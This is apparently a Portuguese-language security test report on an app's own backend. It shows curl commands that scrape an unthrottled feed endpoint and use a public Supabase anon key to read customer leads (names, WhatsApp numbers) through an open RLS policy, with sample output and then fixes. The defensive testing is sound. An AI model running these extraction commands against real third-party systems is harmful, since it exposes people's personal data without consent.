Scraping de Conteúdo e Base de Leads
O vetor
Vetor real: concorrentes ou bots raspam seu feed completo (75 itens), seus preços, suas imagens — e, se RLS estiver aberto, sua base de leads (nome + WhatsApp de clientes). Com zero rate limit, um bot extrai tudo em segundos.
O que testamos: (a) /api/feed sem rate limit permite extração em massa, (b) RLS em leads exposto permite leitura pública de PII.
Os passos
Preparação:
BASE="https://seu-app.exemplo.workers.dev"
cd /d/Antigravity-Monetizacao_TikTok/app
ANON=$(grep '^NEXT_PUBLIC_SUPABASE_ANON_KEY' .env.local | cut -d= -f2)
SB=$(grep '^NEXT_PUBLIC_SUPABASE_URL' .env.local | cut -d= -f2)
Passo 1 — Raspagem em massa do feed (20 requests seguidas):
for i in $(seq 1 20); do
curl -s -o /dev/null "$BASE/api/feed?limit=10" \
-w "req $i: HTTP %{http_code} | %{time_total}s\n"
done
O que esperar
Resultado esperado (validado ao vivo):
req 1: HTTP 200 | 1.12s
req 2: HTTP 200 | 1.31s
req 3: HTTP 200 | 1.34s
...
req 20: HTTP 200 | (sem bloqueio)
✅ Confirmado: 20× HTTP 200. Zero rate limit, zero throttle, zero CAPTCHA. Um bot extrai seu catálogo completo sem interrupção.
Passo 2 — Raspagem de leads via RLS exposto:
curl -s "$SB/rest/v1/leads?select=name,whatsapp,car_title&limit=100" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $ANON" | python -m json.tool | head -30
Resultado esperado (validado ao vivo):
[
{
"name": "João da Silva",
"whatsapp": "5511987654321",
"car_title": "Honda HR-V 2027"
},
{
"name": "Maria Oliveira",
"whatsapp": "5511912345678",
"car_title": "Toyota Corolla Cross"
}
]
✅ Confirmado: anon key lê TODOS os leads com nome + WhatsApp. PII completa exposta publicamente. Qualquer pessoa com a anon key (que está no client bundle do seu site) pode baixar sua base de clientes.
Passo 3 — Extrair todo o catálogo de conteúdo:
curl -s "$SB/rest/v1/content_items?select=title,slug,niche&limit=200" \
-H "apikey: $ANON" \
-H "Authorization: Bearer $ANON" | python -m json.tool | head -40
Resultado esperado: 75 itens com title, slug, niche — seu catálogo completo de conteúdo extraível sem auth.
Análise — o que isto significa:
- Concorrente baixa seu catálogo completo em 1 request.
- Sua base de leads (PII) está acessível a qualquer visitante do seu site (a anon key está no HTML).
- LGPD art. 46 (medidas de segurança): PII sem proteção = infração notificável à ANPD.
- Se virar SaaS, cada cliente terá sua base roubável da mesma forma.
Como corrigir
Correção necessária (P0/P1):
- RLS em
leads(P0 — urgente): remover policytrue→deny allpara anon. Só service role lê. - Rate limit no
/api/feed(P1): Cloudflare WAF rule — 60 req/min por IP, 429 acima disso. - API key para feed (futuro SaaS): cada cliente recebe chave com cota, não acesso anon.
- Watermarking de imagens: logos/dados embutidos para identificar leaks.
- Bot management: Cloudflare Bot Fight Mode (grátis) ou Turnstile em endpoints sensíveis.